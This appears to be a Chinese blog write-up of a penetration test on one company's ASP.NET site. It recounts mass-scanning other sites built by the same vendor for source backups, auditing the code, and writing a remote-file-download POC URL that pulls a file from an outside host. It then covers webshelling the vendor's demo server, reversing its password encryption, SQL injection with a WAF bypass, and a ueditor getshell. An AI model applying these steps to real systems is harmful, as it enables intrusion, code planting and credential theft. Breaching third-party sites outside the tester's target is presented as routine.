实战渗透之一个破站日一天

深碍√TFBOYSˉ_ 2023-01-01 01:53 162阅读 0赞

## 使用关键词得到目标源码 ##

某日上午接到临时安排对某公司进行渗透测试，此次渗透给的是一个主域名，并且也没有子域，打开了目标网站先对其进行一波信息收集  
![图片][17a449b62e69a8f03d520feab9c88d7b.png]

中间件: IIS 8.5

![图片][6a54515ef983412a1ce5c22ba0cc3084.png]

输入admin发现自动添加了/

说明其目录存在，那么盲猜一波文件，login.aspx

default.aspx main.aspx等等

![图片][e773395bd048fa22d9bd08989ca92b44.png]

最终在login.aspx下面发现后台登录页面。这不猜他一波弱口令??

一顿操作过后账号被锁

![图片][0c1a5359e0923d8e15ad1e3fe2b75c01.png]

熟悉的开局，既然如此只能尝试其他方法了。

在主页的html代码中发现了某处信息

![图片][c5b14736e740bb5fa1f1cd58df64a50c.png]

设计制作？根据后面的域名访问过去，是一个建站公司

那么，入手点来了。IIS8.5+ASP.NET+建站系统

先扫一波备份文件:

![图片][3cab3e937384d548e69cad5a66a7f3de.png]

400多条ip这开发商还行。使用FOFA查询工具，批量导出

![图片][04c26db177b2f22d4047c03be8059337.png]

然后我们来扫一下备份文件。这里推荐我B哥的扫描器  
https://github.com/broken5/WebAliveScan  
可以进行批量存活扫描和目录扫描

![图片][f7c155d780bc0a6dfe7ce521085cd482.png]

在好几个站下面发现web.zip备份文件。  
下载下来过后，对其目标站点文件进行了对比。基本一致

![图片][626f347b109949d0dab9b8f064f3eadd.png]

## 拿到代码开始审计多次碰壁 ##

那么开始审计。

![图片][3d23a24bcdbe7e0be3177fe0843e355e.png]

在某接口处放下敏感操作WebClient.DownloadFile(远程文件下载)

由于该方法需要提供绝对路径。。比较头疼，但我跟踪相关参数。发现。

在另一个方法中调用了该方法。

![图片][4898fc0374335fdd092c3c2bf239908f.png]

并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了。

那么构造POC:

ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://\*\*\*.cn/

![图片][a5d87838d331d4bc2a51dbe674a9c20f.png]

访问地址:

![图片][dbacf84bf6678ad105829e2d521e7596.png]

文件存在，那么证明可行

回到目标地址:

![图片][84db71b8c14915ca3fc6c96cae7e9e49.png]

被修复了文件不存在  
继续回到代码中,审计其他漏洞在其他接口中，也均存在多个漏洞。如ueditor远程抓取漏洞

![图片][99c06feace83c4fbd77d83780ae50d92.png]

文件重命名可Getshell

![图片][db8ab9ac77cb5f4f712335dd6ca16429.png]

但是这些接口都需要登录

![图片][c333251fbc1b7d51be861861c08f242d.png]

这就很头疼了，打算在一些无需登录的接口中尝试寻找SQL注入。

最终在某处发现SQL拼接。

![图片][07841dea1b31a603dcf48f0ea0ef2222.png]

但是这里调用了IsSafeSqlString检测

![图片][92ac07b7718a9a9f0d578041506a87b1.png]

常见符号基本被卡的死死的

## 拿下开发商寻找通用账号逆向加解密算法 ##

由于都是使用了相同的建站程序,怀疑有程序内置账户  
于是准备通过刚才审计出来的漏洞。从同程序的站点入手  
最终在某个站点成功拿到Webshell  
看了下相关信息

![图片][248f3c2519f683c1f54234e7b1e6a2fb.png]

居然是厂商的演示站群，存了该开发商所有站点源码。  
应该是在开发过程中的演示环境吧站点有很多，估计每个客户都有。  
在服务器里翻到了目标站点的演示网站  
![图片][293835fa7fe330bb620093d42236f61c.png]

根目录下有zip网站备份和sql 数据库备份。  
如果说目标站点是直接搬迁过去的，那么后台账户密码应该是一样的。

将其SQL文件下载下来，在其中搜索相关信息

![图片][04eb16afdfe596fe4360b1a7a2b99c7e.png]

发现了插入账户的SQL语句。其密码是加密过的

![图片][4a6d3dd3120608c86f0ea6cb432e424b.png]

cmd5解不开，看了下密文是33位加密。  
但是登录过程中，密码是RSA加密过后传输的，而后端居然是33位的md5加密  
![图片][5cc3746ccf5a8df3cbd80dee2036bcaa.png]

因为有源代码，追踪了一下登录了相关方法。

![图片][dd0595ea60cff08c223f5c156487f489.png]

密码传入后，调用了CommFun.EnPwd进行了一次加密。

追踪EnPwd方法

![图片][65ad21565b02d4f4f7525af50fc32c31.png]

可以看到，传入进来的密码是RSA类型，先进行了一次RSA解密，然后进行了一次DES加密。

追踪DESEncrypt.Encrypt方法。

![图片][21ad4bd0f22d48f9e28503cff52f7394.png]

这里是将Encrypt方法封装了一下，并传入加密key。

其核心加密方法如下:

![图片][4ce647750bf1be9d4587fa66e1671daf.png]

并且，在该类里。还定义了解密方法

![图片][7ee36848d30faea487c65d276607e07e.png]

得到了加密方法和解密方法以及key，那么只需要将其单独拉出来调用就可以了。

![图片][33cdd7cc09227182ab23afa26dd471c0.png]

尝试登陆

![图片][f7de64c2c1e2c6faed6dcfcb849845ec.png]

忙活半天，白干了。

## 柳暗花明拿下目标shell ##

已经下午4点了。还是一无进展，准备尝试绕过SQL过滤。  
就在这时候，我发现了一处SQL注入点。  
![图片][ab27a77a6c3f1f306d429768763909f6.png]

某方法接收了两个参数，却只对一个参数进行了过滤。  
在目标网站上测验

![图片][8e097c184403830cd0fd7317bcce222b.png]

存在注入，发现存在waf使用垃圾参数填充成功绕过waf

![图片][a0fc146877c3be8140f7a606f34a2042.png]

直接上sqlmap安心的跑，得到系统账户以及密文

![图片][74222d26a72df17b99484fb2ad05f4aa.png]

将得到的密文进行解密，得到结果

![图片][102c4581a3e16cd3d6b408bcb8c2974b.png]

尝试登录。这下总对了吧!  
![图片][e0055aa0d6addf2d064a7fd91880795a.png]

终于进来了！！！！  
经过之前的审计，发现了很多接口都存在漏洞，现在成功登录了。岂不是随便getshell？  
直接ueditor带走。

![图片][763a676e1fbbc2eb8c56ba39977d89b2.png]

成功shell

[17a449b62e69a8f03d520feab9c88d7b.png]: /images/20221120/0bf8a1d2ea5942d5b36708c5204b7454.png
[6a54515ef983412a1ce5c22ba0cc3084.png]: /images/20221120/8f067ad7d55440e0b3b05e9deacea48e.png
[e773395bd048fa22d9bd08989ca92b44.png]: /images/20221120/f8356000da1c4be795cfc9dc92683e24.png
[0c1a5359e0923d8e15ad1e3fe2b75c01.png]: /images/20221120/1a58accd84ec4c1aa76af1499316e21a.png
[c5b14736e740bb5fa1f1cd58df64a50c.png]: /images/20221120/eeecdf9b8c3446c19b78932b24b346b1.png
[3cab3e937384d548e69cad5a66a7f3de.png]: /images/20221120/ef59af7d92214d5e876687ac66d59e0a.png
[04c26db177b2f22d4047c03be8059337.png]: /images/20221120/7dbc46a6e9ae4a5baa5065bc173bc9c4.png
[f7c155d780bc0a6dfe7ce521085cd482.png]: /images/20221120/2b3031ba84a54469bd1b52ad0cebd409.png
[626f347b109949d0dab9b8f064f3eadd.png]: /images/20221120/1a37c7b1d492492ebb4e60b8f2b38a42.png
[3d23a24bcdbe7e0be3177fe0843e355e.png]: /images/20221120/657daab7184643c987eaeb64ebaa0a65.png
[4898fc0374335fdd092c3c2bf239908f.png]: /images/20221120/6e2d6190338c4777a82cb0aa460111d0.png
[a5d87838d331d4bc2a51dbe674a9c20f.png]: /images/20221120/0220dc47e973448a8cb84703cfda6834.png
[dbacf84bf6678ad105829e2d521e7596.png]: /images/20221120/163d0601f4bd415d93d8c6d42e558633.png
[84db71b8c14915ca3fc6c96cae7e9e49.png]: /images/20221120/d33ce9791c09409781821b575f614ef5.png
[99c06feace83c4fbd77d83780ae50d92.png]: /images/20221120/6bae4d0894fa4caa963921c793f59712.png
[db8ab9ac77cb5f4f712335dd6ca16429.png]: /images/20221120/7ca6e6a834ba41429a98495e13eeee02.png
[c333251fbc1b7d51be861861c08f242d.png]: /images/20221120/a26a8d1718e140739748db7e97376d57.png
[07841dea1b31a603dcf48f0ea0ef2222.png]: /images/20221120/0a7ff371f38146c590b65ed947e5b4fd.png
[92ac07b7718a9a9f0d578041506a87b1.png]: /images/20221120/c8e4a88def6044929d49e49524fa69db.png
[248f3c2519f683c1f54234e7b1e6a2fb.png]: /images/20221120/2edb772edb6548a2884a6fe5d17ccecd.png
[293835fa7fe330bb620093d42236f61c.png]: /images/20221120/224d5aabb70f4f7381a6183f39d3e6fc.png
[04eb16afdfe596fe4360b1a7a2b99c7e.png]: /images/20221120/03f3f5b7cb114e51ad8801a26e64511c.png
[4a6d3dd3120608c86f0ea6cb432e424b.png]: /images/20221120/16b095bc68cb4091aac48e2c1928d51f.png
[5cc3746ccf5a8df3cbd80dee2036bcaa.png]: /images/20221120/a4e0afd4914147ef92f978c19c1ff4ca.png
[dd0595ea60cff08c223f5c156487f489.png]: /images/20221120/795ccba5e57e45a2ae3e75f6cd960f12.png
[65ad21565b02d4f4f7525af50fc32c31.png]: /images/20221120/40ae4e21783a456eb83fcdbc089a708a.png
[21ad4bd0f22d48f9e28503cff52f7394.png]: /images/20221120/fd93b1a2c269438ebd70f82b3f03dd53.png
[4ce647750bf1be9d4587fa66e1671daf.png]: /images/20221120/06bfcce0adce49db915929237d726b22.png
[7ee36848d30faea487c65d276607e07e.png]: /images/20221120/1ec1ffc6ad104a4c9db1a2bddd4f690a.png
[33cdd7cc09227182ab23afa26dd471c0.png]: /images/20221120/5a7a73008f9f450797be2145be7e1ae5.png
[f7de64c2c1e2c6faed6dcfcb849845ec.png]: /images/20221120/00a336b4a208451389b11d58aef2c5e9.png
[ab27a77a6c3f1f306d429768763909f6.png]: /images/20221120/d9c7ace73e284b2ebd3b4c859f322dbb.png
[8e097c184403830cd0fd7317bcce222b.png]: /images/20221120/d8f9ebd05e254d8bad12395173ced72b.png
[a0fc146877c3be8140f7a606f34a2042.png]: /images/20221120/922c6cdb94544f0095546cd350840a6b.png
[74222d26a72df17b99484fb2ad05f4aa.png]: /images/20221120/2c9dbeb81b7d4571bc2572a64bce115b.png
[102c4581a3e16cd3d6b408bcb8c2974b.png]: /images/20221120/58c32694a0d64e3390814daa8f5568a7.png
[e0055aa0d6addf2d064a7fd91880795a.png]: /images/20221120/73cd14a12b3d47bf8322b396eba3464a.png
[763a676e1fbbc2eb8c56ba39977d89b2.png]: /images/20221120/6d4ac3b268834e919a037467502ff736.png